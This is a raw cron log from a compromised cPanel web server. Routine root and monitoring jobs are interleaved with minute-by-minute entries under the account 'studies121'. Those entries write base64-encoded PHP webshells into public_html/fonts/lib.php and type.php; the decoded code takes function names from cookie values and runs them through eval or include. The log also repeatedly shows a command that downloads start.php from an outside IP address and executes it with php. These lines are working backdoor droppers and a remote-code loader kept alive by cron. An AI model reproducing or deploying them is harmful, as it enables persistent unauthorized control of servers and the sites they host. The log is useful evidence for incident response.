Sep 12 19:13:01 ip-184-168-122-23 CROND[11458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:14:01 ip-184-168-122-23 CROND[11549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:14:01 ip-184-168-122-23 CROND[11551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:14:01 ip-184-168-122-23 CROND[11552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:14:01 ip-184-168-122-23 CROND[11553]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:14:01 ip-184-168-122-23 CROND[11556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:15:01 ip-184-168-122-23 CROND[11670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:15:01 ip-184-168-122-23 CROND[11672]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 19:15:01 ip-184-168-122-23 CROND[11674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:15:01 ip-184-168-122-23 CROND[11673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:15:01 ip-184-168-122-23 CROND[11678]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 19:15:01 ip-184-168-122-23 CROND[11679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:16:01 ip-184-168-122-23 CROND[11771]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:16:01 ip-184-168-122-23 CROND[11775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:16:01 ip-184-168-122-23 CROND[11773]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:16:01 ip-184-168-122-23 CROND[11777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:16:01 ip-184-168-122-23 CROND[11774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:16:01 ip-184-168-122-23 CROND[11776]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 19:17:01 ip-184-168-122-23 CROND[11863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:17:01 ip-184-168-122-23 CROND[11866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:17:01 ip-184-168-122-23 CROND[11865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:17:01 ip-184-168-122-23 CROND[11867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:18:01 ip-184-168-122-23 CROND[12315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:18:01 ip-184-168-122-23 CROND[12317]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:18:01 ip-184-168-122-23 CROND[12316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:18:01 ip-184-168-122-23 CROND[12321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:18:01 ip-184-168-122-23 CROND[12319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:19:01 ip-184-168-122-23 CROND[12407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:19:01 ip-184-168-122-23 CROND[12409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:19:01 ip-184-168-122-23 CROND[12408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:19:01 ip-184-168-122-23 CROND[12412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:20:01 ip-184-168-122-23 CROND[12504]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 19:20:01 ip-184-168-122-23 CROND[12510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:20:01 ip-184-168-122-23 CROND[12508]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 19:20:01 ip-184-168-122-23 CROND[12512]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 19:20:01 ip-184-168-122-23 CROND[12511]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:20:01 ip-184-168-122-23 CROND[12509]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 19:20:01 ip-184-168-122-23 CROND[12507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:20:01 ip-184-168-122-23 CROND[12515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:20:01 ip-184-168-122-23 CROND[12514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:21:01 ip-184-168-122-23 CROND[12616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:21:01 ip-184-168-122-23 CROND[12618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:21:01 ip-184-168-122-23 CROND[12619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:21:01 ip-184-168-122-23 CROND[12617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:22:01 ip-184-168-122-23 CROND[12701]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:22:01 ip-184-168-122-23 CROND[12704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:22:01 ip-184-168-122-23 CROND[12703]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:22:01 ip-184-168-122-23 CROND[12705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:22:01 ip-184-168-122-23 CROND[12706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:23:01 ip-184-168-122-23 CROND[12872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:23:01 ip-184-168-122-23 CROND[12871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:23:01 ip-184-168-122-23 CROND[12874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:23:01 ip-184-168-122-23 CROND[12873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:24:01 ip-184-168-122-23 CROND[12955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:24:01 ip-184-168-122-23 CROND[12957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:24:01 ip-184-168-122-23 CROND[12959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:24:01 ip-184-168-122-23 CROND[12958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:24:01 ip-184-168-122-23 CROND[12960]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:25:01 ip-184-168-122-23 CROND[13046]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:25:01 ip-184-168-122-23 CROND[13048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:25:01 ip-184-168-122-23 CROND[13049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:25:01 ip-184-168-122-23 CROND[13050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
